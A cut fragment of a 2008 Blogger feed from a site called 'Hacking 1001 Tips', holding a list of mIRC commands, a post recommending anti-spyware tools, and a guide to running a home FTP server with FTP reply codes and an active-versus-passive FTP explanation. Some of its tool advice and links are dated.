&lt;a href="http://feedads.g.doubleclick.net/~a/t2mDwBn91QuSU9LXVbcUp4PxgT8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/t2mDwBn91QuSU9LXVbcUp4PxgT8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/cYS1qUt_7Rc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/783543087425329034/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=783543087425329034" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/783543087425329034?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/783543087425329034?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/cYS1qUt_7Rc/anonymity.html" title="Anonymity" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/anonymity.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0YFQHY6eCp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-9104085430576335833</id><published>2008-08-12T08:30:00.000-07:00</published><updated>2008-08-12T08:31:51.810-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:31:51.810-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mlRC" /><category scheme="http://www.blogger.com/atom/ns#" term="Commands" /><title>All mIRC Commands</title><content type="html">/ Recalls the previous command entered in the current window.&lt;br /&gt;/! Recalls the last command typed in any window.&lt;br /&gt;/action {action text} Sends the specifed action to the active channel or query window.&lt;br /&gt;/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.&lt;br /&gt;/ame {action text} Sends the specifed action to all channels which you are currently on.&lt;br /&gt;/amsg {text} Sends the specifed message to all channels which you are currently on.&lt;br /&gt;/auser {level} {nick|address} Adds a user with the specified access level to the remote users&lt;br /&gt;list.&lt;br /&gt;/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off&lt;br /&gt;totally.&lt;br /&gt;/away {away message} Sets you away leave a message explaining that you are not currently paying&lt;br /&gt;attention to IRC.&lt;br /&gt;/away Sets you being back.&lt;br /&gt;/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.&lt;br /&gt;/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel&lt;br /&gt;Pops up the channel central window (only works in a channel).&lt;br /&gt;/clear Clears the entire scrollback buffer of the current window.&lt;br /&gt;/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on&lt;br /&gt;nickname.&lt;br /&gt;/closemsg {nickname} Closes the query window you have open to the specified nick.&lt;br /&gt;/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.&lt;br /&gt;/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.&lt;br /&gt;/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.&lt;br /&gt;/describe {#channel} {action text} Sends the specifed action to the specified channel window.&lt;br /&gt;/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other&lt;br /&gt;applications.&lt;br /&gt;/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given&lt;br /&gt;service name.&lt;br /&gt;/disable {#groupname} De-activates a group of commands or events.&lt;br /&gt;/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.&lt;br /&gt;/dlevel {level} Changes the default user level in the remote section.&lt;br /&gt;/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.&lt;br /&gt;/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place&lt;br /&gt;in color N.&lt;br /&gt;/enable {#groupname} Activates a group of commands or events.&lt;br /&gt;/events [on|off] Shows the remote events status or sets it to listening or not.&lt;br /&gt;/exit Forces mIRC to closedown and exit.&lt;br /&gt;/finger Does a finger on a users address.&lt;br /&gt;/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.&lt;br /&gt;/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.&lt;br /&gt;/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.&lt;br /&gt;/guser {level} {nick} [type] Adds the user to the user list with the specified level and&lt;br /&gt;address type.&lt;br /&gt;/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.&lt;br /&gt;/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off&lt;br /&gt;totally.&lt;br /&gt;/invite {nickname} {#channel} Invites another user to a channel.&lt;br /&gt;/join {#channel} Makes you join the specified channel.&lt;br /&gt;/kick {#channel} {nickname} Kicks nickname off a given channel.&lt;br /&gt;/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for&lt;br /&gt;parameters.&lt;br /&gt;/log [on|off] Shows the logging status or sets it on or off for the current window.&lt;br /&gt;/me {action text} Sends the specifed action to the active channel or query window.&lt;br /&gt;/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.&lt;br /&gt;/msg {nickname} {message} Send a private message to this user without opening a query window.&lt;br /&gt;/names {#channel} Shows the nicks of all people on the given channel.&lt;br /&gt;/nick {new nickname} Changes your nickname to whatever you like.&lt;br /&gt;/notice {nick} {message} Send the specified notice message to the nick.&lt;br /&gt;/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.&lt;br /&gt;/onotice [#channel] {message} Send the specified notice message to all channel ops.&lt;br /&gt;/omsg [#channel] {message} Send the specified message to all ops on a channel.&lt;br /&gt;/part {#channel} Makes you leave the specified channel.&lt;br /&gt;/partall Makes you leave all channels you are on.&lt;br /&gt;/ping {server address} Pings the given server. NOT a nickname.&lt;br /&gt;/play [-c] {filename} [delay] Allows you to send text files to a window.&lt;br /&gt;/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.&lt;br /&gt;/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off&lt;br /&gt;totally.&lt;br /&gt;/query {nickname} {message} Open a query window to this user and send them the private message.&lt;br /&gt;/quit [reason] Disconnect you from IRC with the optional byebye message.&lt;br /&gt;/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!&lt;br /&gt;/remote [on|off] Shows the remote commands status or sets it to listening or not.&lt;br /&gt;/rlevel {access level} Removes all users from the remote users list with the specified access&lt;br /&gt;level.&lt;br /&gt;/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.&lt;br /&gt;/ruser {nick[!]|address} [type] Removes the user from the remote users list.&lt;br /&gt;/save {filename.ini} Saves remote sections into a specified INI file.&lt;br /&gt;/say {text} Says whatever you want to the active window.&lt;br /&gt;/server [server address [port] [password]] Reconnects to the previous server or a newly&lt;br /&gt;specified one.&lt;br /&gt;/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound.&lt;br /&gt;/speak {text} Uses the external text to speech program Monologue to speak up the text.&lt;br /&gt;/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.&lt;br /&gt;/time Tells you the time on the server you use.&lt;br /&gt;/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.&lt;br /&gt;/topic {#channel} {newtopic} Changes the topic for the specified channel.&lt;br /&gt;/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.&lt;br /&gt;/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.&lt;br /&gt;/uwho [nick] Pops up the user central with information about the specified user.&lt;br /&gt;/who {#channel} Shows the nicks of all people on the given channel.&lt;br /&gt;/who {*address.string*} Shows all people on IRC with a matching address.&lt;br /&gt;/whois {nickname} Shows information about someone in the status window.&lt;br /&gt;/whowas {nickname} Shows information about someone who -just- left IRC.&lt;br /&gt;/wavplay {c:\path\sound.wav} Locally plays the specified wave file.&lt;br /&gt;/write [-cidl] {filename} [text] To write the specified text to a .txt file.&lt;br /&gt;&lt;br /&gt;MoViEBoT #xdcc-help /server irc.atomic-irc.net&lt;br /&gt;&lt;br /&gt;We strive to make IRC easier for you!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-9104085430576335833?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/DuYOq07XJeO6AbCELfcgTLXhQIE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/DuYOq07XJeO6AbCELfcgTLXhQIE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/DuYOq07XJeO6AbCELfcgTLXhQIE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/DuYOq07XJeO6AbCELfcgTLXhQIE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/YgYIE-LfoV0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/9104085430576335833/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=9104085430576335833" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/9104085430576335833?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/9104085430576335833?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/YgYIE-LfoV0/all-mirc-commands.html" title="All mIRC Commands" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/all-mirc-commands.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk8BQn85fyp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-2885379484838909714</id><published>2008-08-12T08:27:00.001-07:00</published><updated>2008-08-12T08:27:33.127-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:27:33.127-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Spyware" /><title>All About Spyware</title><content type="html">There are a lot of PC users that know little about "Spyware", "Mal-ware", "hijackers", "Dialers" &amp;amp; many more. This will help you avoid pop-ups, spammers and all those baddies.&lt;br /&gt;&lt;br /&gt;What is spy-ware?&lt;br /&gt;Spy-ware is Internet jargon for Advertising Supported software (Ad-ware). It is a way for shareware authors to make money from a product, other than by selling it to the users. There are several large media companies that offer them to place banner ads in their products in exchange for a portion of the revenue from banner sales. This way, you don't have to pay for the software and the developers are still getting paid. If you find the banners annoying, there is usually an option to remove them, by paying the regular licensing fee.&lt;br /&gt;&lt;br /&gt;Known spywares&lt;br /&gt;There are thousands out there, new ones are added to the list everyday. But here are a few:&lt;br /&gt;Alexa, Aureate/Radiate, BargainBuddy, ClickTillUWin, Conducent Timesink, Cydoor, Comet Cursor, eZula/KaZaa Toptext, Flashpoint/Flashtrack, Flyswat, Gator, GoHip, Hotbar, ISTbar, Lions Pride Enterprises/Blazing Logic/Trek Blue, Lop (C2Media), Mattel Brodcast, Morpheus, NewDotNet, Realplayer, Songspy, Xupiter, Web3000, WebHancer, Windows Messenger Service.&lt;br /&gt;&lt;br /&gt;How to check if a program has spyware?&lt;br /&gt;The is this Little site that keeps a database of programs that are known to install spyware.&lt;br /&gt;&lt;br /&gt;Check Here: http://www.spywareguide.com/product_search.php&lt;br /&gt;&lt;br /&gt;If you would like to block pop-ups (IE Pop-ups).&lt;br /&gt;There tons of different types out there, but these are the 2 best, i think.&lt;br /&gt;&lt;br /&gt;Try: Google Toolbar (http://toolbar.google.com/) This program is Free&lt;br /&gt;Try: AdMuncher (http://www.admuncher.com) This program is Shareware&lt;br /&gt;&lt;br /&gt;If you want to remove the "spyware" try these.&lt;br /&gt;Try: Lavasoft Ad-Aware (http://www.lavasoftusa.com/) This program is Free&lt;br /&gt;Info: Ad-aware is a multi spyware removal utility, that scans your memory, registry and hard drives for known spyware components and lets you remove them. The included backup-manager lets you reinstall a backup, offers and multi language support.&lt;br /&gt;&lt;br /&gt;Try: Spybot-S&amp;amp;D (http://www.safer-networking.org/) This program is Free&lt;br /&gt;Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer. Blocks ActiveX downloads, tracking cookies and other threats. Over 10,000 detection files and entries. Provides detailed information about found problems.&lt;br /&gt;&lt;br /&gt;Try: BPS Spyware and Adware Remover (http://www.bulletproofsoft.com/spyware-remover.html) This program is Shareware&lt;br /&gt;Info: Adware, spyware, trackware and big brotherware removal utility with multi-language support. It scans your memory, registry and drives for known spyware and lets you remove them. Displays a list and lets you select the items you'd like to remove.&lt;br /&gt;&lt;br /&gt;Try: Spy Sweeper v2.2 (http://www.webroot.com/wb/products/spysweeper/index.php) This program is Shareware&lt;br /&gt;Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer.&lt;br /&gt;The best scanner out there, and updated all the time.&lt;br /&gt;&lt;br /&gt;Try: HijackThis 1.97.7 (http://www.spywareinfo.com/~merijn/downloads.html) This program is Freeware&lt;br /&gt;Info: HijackThis is a tool, that lists all installed browser add-on, buttons, startup items and allows you to inspect them, and optionally remove selected items.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you would like to prevent "spyware" being install.&lt;br /&gt;Try: SpywareBlaster 2.6.1 (http://www.wilderssecurity.net/spywareblaster.html) This program is Free&lt;br /&gt;Info: SpywareBlaster doesn`t scan and clean for so-called spyware, but prevents it from being installed in the first place. It achieves this by disabling the CLSIDs of popular spyware ActiveX controls, and also prevents the installation of any of them via a webpage.&lt;br /&gt;&lt;br /&gt;Try: SpywareGuard 2.2 (http://www.wilderssecurity.net/spywareguard.html) This program is Free&lt;br /&gt;Info: SpywareGuard provides a real-time protection solution against so-called spyware. It works similar to an anti-virus program, by scanning EXE and CAB files on access and alerting you if known spyware is detected.&lt;br /&gt;&lt;br /&gt;Try: XP-AntiSpy (http://www.xp-antispy.org/) This program is Free&lt;br /&gt;Info: XP-AntiSpy is a small utility to quickly disable some built-in update and authentication features in WindowsXP that may rise security or privacy concerns in some people.&lt;br /&gt;&lt;br /&gt;Try: SpySites (http://camtech2000.net/Pages/SpySites_Prog...ml#SpySitesFree) This program is Free&lt;br /&gt;Info: SpySites allows you to manage the Internet Explorer Restricted Zone settings and easily add entries from a database of 1500+ sites that are known to use advertising tracking methods or attempt to install third party software.&lt;br /&gt;&lt;br /&gt;If you would like more Information about "spyware".&lt;br /&gt;Check these sites.&lt;br /&gt;http://www.spychecker.com/&lt;br /&gt;http://www.spywareguide.com/&lt;br /&gt;http://www.cexx.org/adware.htm&lt;br /&gt;http://www.theinfomaniac.net/infomaniac/co...rsSpyware.shtml&lt;br /&gt;http://www.thiefware.com/links/&lt;br /&gt;http://simplythebest.net/info/spyware.html&lt;br /&gt;&lt;br /&gt;Usefull tools...&lt;br /&gt;Try: Stop Windows Messenger Spam 1.10 (http://www.jester2k.pwp.blueyonder.co.uk/j...r2ksoftware.htm) This program is Free&lt;br /&gt;Info: "Stop Windows Messenger Spam" stops this Service from running and halts the spammers ability to send you these messages.&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------&lt;br /&gt;All these softwares will help remove and prevent evil spammers and spywares attacking your PC. I myself recommend getting "spyblaster" "s&amp;amp;d spybot" "spy sweeper" &amp;amp; "admuncher" to protect your PC. A weekly scan is also recommended&lt;br /&gt;&lt;br /&gt;Free Virus Scan&lt;br /&gt;Scan for spyware, malware and keyloggers in addition to viruses, worms and trojans. New threats and annoyances are created faster than any individual can keep up with.&lt;br /&gt;http://defender.veloz.com// - 15k&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finding . is a Click Away at 2020Search.com&lt;br /&gt;Having trouble finding what you re looking for on: .? 2020Search will instantly provide you with the result you re looking for by drawing on some of the best search engines the Internet has to offer. Your result is a click away!&lt;br /&gt;http://www.2020search.com// - 43k&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download the BrowserVillage Toolbar.&lt;br /&gt;Customize your Browser! Eliminate Pop-up ads before they start, Quick and easy access to the Web, and much more. Click Here to Install Now!&lt;br /&gt;http://www.browservillage.com/ - 36k&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-2885379484838909714?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SER78bMMpNkAvi93Rh4BI1R7xoE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SER78bMMpNkAvi93Rh4BI1R7xoE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SER78bMMpNkAvi93Rh4BI1R7xoE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SER78bMMpNkAvi93Rh4BI1R7xoE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/Gv6vlUWAOw8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/2885379484838909714/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=2885379484838909714" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/2885379484838909714?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/2885379484838909714?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/Gv6vlUWAOw8/all-about-spyware.html" title="All About Spyware" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/all-about-spyware.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkMERXo_cSp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-929456110817528758</id><published>2008-08-12T08:19:00.000-07:00</published><updated>2008-08-12T08:20:04.449-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:20:04.449-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="FTP" /><title>Setting Up A Ftp</title><content type="html">Setting Up A Ftp:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well, since many of us have always wondered this, here it is. Long and drawn out. Also, before attempting this, realize one thing; You will have to give up your time, effort, bandwidth, and security to have a quality ftp server.&lt;br /&gt;That being said, here it goes. First of all, find out if your IP (Internet Protocol) is static (not changing) or dynamic (changes everytime you log on). To do this, first consider the fact if you have a dial up modem. If you do, chances are about 999 999 out of 1 000 000 that your IP is dynamic. To make it static, just go to a place like h*tp://www.myftp.org/ to register for a static ip address.&lt;br /&gt;&lt;br /&gt;You'll then need to get your IP. This can be done by doing this:&lt;br /&gt;Going to Start -&gt; Run -&gt; winipcfg or www.ask.com and asking 'What is my IP?'&lt;br /&gt;&lt;br /&gt;After doing so, you'll need to download an FTP server client. Personally, I'd recommend G6 FTP Server, Serv-U FTPor Bullitproof v2.15 all three of which are extremely reliable, and the norm of the ftp world.&lt;br /&gt;You can download them on this site: h*tp://www.liaokai.com/softw_en/d_index.htm&lt;br /&gt;&lt;br /&gt;First, you'll have to set up your ftp. For this guide, I will use step-by-step instructions for G6. First, you'll have to go into 'Setup -&gt; General'. From here, type in your port # (default is 21). I recommend something unique, or something a bit larger (ex: 3069). If you want to, check the number of max users (this sets the amount of simultaneous maximum users on your server at once performing actions - The more on at once, the slower the connection and vice versa).&lt;br /&gt;&lt;br /&gt;The below options are then chooseable:&lt;br /&gt;-Launch with windows&lt;br /&gt;-Activate FTP Server on Start-up&lt;br /&gt;-Put into tray on startup&lt;br /&gt;-Allow multiple instances&lt;br /&gt;-Show "Loading..." status at startup&lt;br /&gt;-Scan drive(s) at startup&lt;br /&gt;-Confirm exit&lt;br /&gt;&lt;br /&gt;You can do what you want with these, as they are pretty self explanatory. The scan drive feature is nice, as is the 2nd and the last option. From here, click the 'options' text on the left column.&lt;br /&gt;&lt;br /&gt;To protect your server, you should check 'login check' and 'password check', 'Show relative path (a must!)', and any other options you feel you'll need. After doing so, click the 'advanced' text in the left column. You should then leave the buffer size on the default (unless of course you know what you're doing ), and then allow the type of ftp you want.&lt;br /&gt;&lt;br /&gt;Uploading and downloading is usually good, but it's up to you if you want to allow uploads and/or downloads. For the server priority, that will determine how much conventional memory will be used and how much 'effort' will go into making your server run smoothly.&lt;br /&gt;&lt;br /&gt;Anti-hammering is also good, as it prevents people from slowing down your speed. From here, click 'Log Options' from the left column. If you would like to see and record every single command and clutter up your screen, leave the defaults.&lt;br /&gt;&lt;br /&gt;But, if you would like to see what is going on with the lowest possible space taken, click 'Screen' in the top column. You should then check off 'Log successful logins', and all of the options in the client directry, except 'Log directory changes'. After doing so, click 'Ok' in the bottom left corner.&lt;br /&gt;&lt;br /&gt;You will then have to go into 'Setup -&gt; User Accounts' (or ctrl &amp;amp; u). From here, you should click on the right most column, and right click. Choose 'Add', and choose the username(s) you would like people to have access to.&lt;br /&gt;&lt;br /&gt;After giving a name (ex: themoonlanding), you will have to give them a set password in the bottom column (ex: wasfaked). For the 'Home IP' directory, (if you registered with a static server, check 'All IP Homes'. If your IP is static by default, choose your IP from the list. You will then have to right click in the very center column, and choose 'Add'.&lt;br /&gt;&lt;br /&gt;From here, you will have to set the directory you want the people to have access to. After choosing the directory, I suggest you choose the options 'Read', 'List', and 'Subdirs', unless of course you know what you're doing . After doing so, make an 'upload' folder in the directory, and choose to 'add' this folder seperately to the center column. Choose 'write', 'append', 'make', 'list', and 'subdirs'. This will allow them to upload only to specific folders (your upload folder).&lt;br /&gt;&lt;br /&gt;Now click on 'Miscellaneous' from the left column. Choose 'enable account', your time-out (how long it takes for people to remain idle before you automatically kick them off), the maximum number of users for this name, the maximum number of connections allowed simultaneously for one ip address, show relative path (a must!), and any other things at the bottom you'd like to have. Now click 'Ok'.&lt;br /&gt;**Requested**&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From this main menu, click the little boxing glove icon in the top corner, and right click and unchoose the hit-o-meter for both uploads and downloads (with this you can monitor IP activity). Now click the lightning bolt, and your server is now up and running.&lt;br /&gt;&lt;br /&gt;Post your ftp info, like this:&lt;br /&gt;&lt;br /&gt;213.10.93.141 (or something else, such as: 'f*p://example.getmyip.com')&lt;br /&gt;&lt;br /&gt;User: *** (The username of the client)&lt;br /&gt;&lt;br /&gt;Pass: *** (The password)&lt;br /&gt;&lt;br /&gt;Port: *** (The port number you chose)&lt;br /&gt;&lt;br /&gt;So make a FTP and join the FTP section&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Listing The Contents Of A Ftp:&lt;br /&gt;&lt;br /&gt;Listing the content of a FTP is very simple.&lt;br /&gt;You will need FTP Content Maker, which can be downloaded from here:&lt;br /&gt;ht*p://www.etplanet.com/download/application/FTP%20Content%20Maker%201.02.zip&lt;br /&gt;&lt;br /&gt;1. Put in the IP of the server. Do not put "ftp://" or a "/" because it will not work if you do so.&lt;br /&gt;2. Put in the port. If the port is the default number, 21, you do not have to enter it.&lt;br /&gt;3. Put in the username and password in the appropriate fields. If the login is anonymous, you do not have to enter it.&lt;br /&gt;4. If you want to list a specific directory of the FTP, place it in the directory field. Otherwise, do not enter anything in the directory field.&lt;br /&gt;5. Click "Take the List!"&lt;br /&gt;6. After the list has been taken, click the UBB output tab, and copy and paste to wherever you want it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If FTP Content Maker is not working, it is probably because the server does not utilize Serv-U Software.&lt;br /&gt;&lt;br /&gt;If you get this error message:&lt;br /&gt;StatusCode = 550&lt;br /&gt;LastResponse was : 'Unable to open local file test-ftp'&lt;br /&gt;Error = 550 (Unable to open local file test-ftp)&lt;br /&gt;Error = Unable to open local file test-ftp = 550&lt;br /&gt;Close and restart FTP Content Maker, then try again.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;error messages:&lt;br /&gt;&lt;br /&gt;110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm Where yyyy is User-process data stream marker, and mmmm server's equivalent marker (note the spaces between markers and "=").&lt;br /&gt;120 Service ready in nnn minutes.&lt;br /&gt;125 Data connection already open; transfer starting.&lt;br /&gt;150 File status okay; about to open data connection.&lt;br /&gt;200 Command okay.&lt;br /&gt;202 Command not implemented, superfluous at this site.&lt;br /&gt;211 System status, or system help reply.&lt;br /&gt;212 Directory status.&lt;br /&gt;213 File status.&lt;br /&gt;214 Help message. On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user.&lt;br /&gt;215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document.&lt;br /&gt;220 Service ready for new user.&lt;br /&gt;221 Service closing control connection. Logged out if appropriate.&lt;br /&gt;225 Data connection open; no transfer in progress.&lt;br /&gt;226 Closing data connection. Requested file action successful (for example, file transfer or file abort).&lt;br /&gt;227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).&lt;br /&gt;230 User logged in, proceed.&lt;br /&gt;250 Requested file action okay, completed.&lt;br /&gt;257 "PATHNAME" created.&lt;br /&gt;331 User name okay, need password.&lt;br /&gt;332 Need account for login.&lt;br /&gt;350 Requested file action pending further information.&lt;br /&gt;421 Too many users logged to the same account&lt;br /&gt;425 Can't open data connection.&lt;br /&gt;426 Connection closed; transfer aborted.&lt;br /&gt;450 Requested file action not taken. File unavailable (e.g., file busy).&lt;br /&gt;451 Requested action aborted: local error in processing.&lt;br /&gt;452 Requested action not taken. Insufficient storage space in system.&lt;br /&gt;500 Syntax error, command unrecognized. This may include errors such as command line too long.&lt;br /&gt;501 Syntax error in parameters or arguments.&lt;br /&gt;502 Command not implemented.&lt;br /&gt;503 Bad sequence of commands.&lt;br /&gt;504 Command not implemented for that parameter.&lt;br /&gt;530 Not logged in.&lt;br /&gt;532 Need account for storing files.&lt;br /&gt;550 Requested action not taken. File unavailable (e.g., file not found, no access).&lt;br /&gt;551 Requested action aborted: page type unknown.&lt;br /&gt;552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset).&lt;br /&gt;553 Requested action not taken. File name not allowed.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Active FTP vs. Passive FTP, a Definitive Explanation&lt;br /&gt;&lt;br /&gt;Introduction&lt;br /&gt;One of the most commonly seen questions when dealing with firewalls and other Internet connectivity issues is the difference between active and passive FTP and how best to support either or both of them. Hopefully the following text will help to clear up some of the confusion over how to support FTP in a firewalled environment.&lt;br /&gt;&lt;br /&gt;This may not be the definitive explanation, as the title claims, however, I've heard enough good feedback and seen this document linked in enough places to know that quite a few people have found it to be useful. I am always looking for ways to improve things though, and if you find something that is not quite clear or needs more explanation, please let me know! Recent additions to this document include the examples of both active and passive command line FTP sessions. These session examples should help make things a bit clearer. They also provide a nice picture into what goes on behind the scenes during an FTP session. Now, on to the information...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Basics&lt;br /&gt;FTP is a TCP based service exclusively. There is no UDP component to FTP. FTP is an unusual service in that it utilizes two ports, a 'data' port and a 'command' port (also known as the control port). Traditionally these are port 21 for the command port and port 20 for the data port. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Active FTP&lt;br /&gt;In active mode FTP the client connects from a random unprivileged port (N &gt; 1024) to the FTP server's command port, port 21. Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server. The server will then connect back to the client's specified data port from its local data port, which is port 20.&lt;br /&gt;&lt;br /&gt;From the server-side firewall's standpoint, to support active mode FTP the following communication channels need to be opened:&lt;br /&gt;&lt;br /&gt;FTP server's port 21 from anywhere (Client initiates connection)&lt;br /&gt;FTP server's port 21 to ports &gt; 1024 (Server responds to client's control port)&lt;br /&gt;FTP server's port 20 to ports &gt; 1024 (Server initiates data connection to client's data port)&lt;br /&gt;FTP server's port 20 from ports &gt; 1024 (Client sends ACKs to server's data port)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In step 1, the client's command port contacts the server's command port and sends the command PORT 1027. The server then sends an ACK back to the client's command port in step 2. In step 3 the server initiates a connection on its local data port to the data port the client specified earlier. Finally, the client sends an ACK back as shown in step 4.&lt;br /&gt;&lt;br /&gt;The main problem with active mode FTP actually falls on the client side. The FTP client doesn't make the actual connection to the data port of the server--it simply tells the server what port it is listening on and the server connects back to the specified port on the client. From the client side firewall this appears to be an outside system initiating a connection to an internal client--something that is usually blocked.&lt;br /&gt;&lt;br /&gt;&lt;br 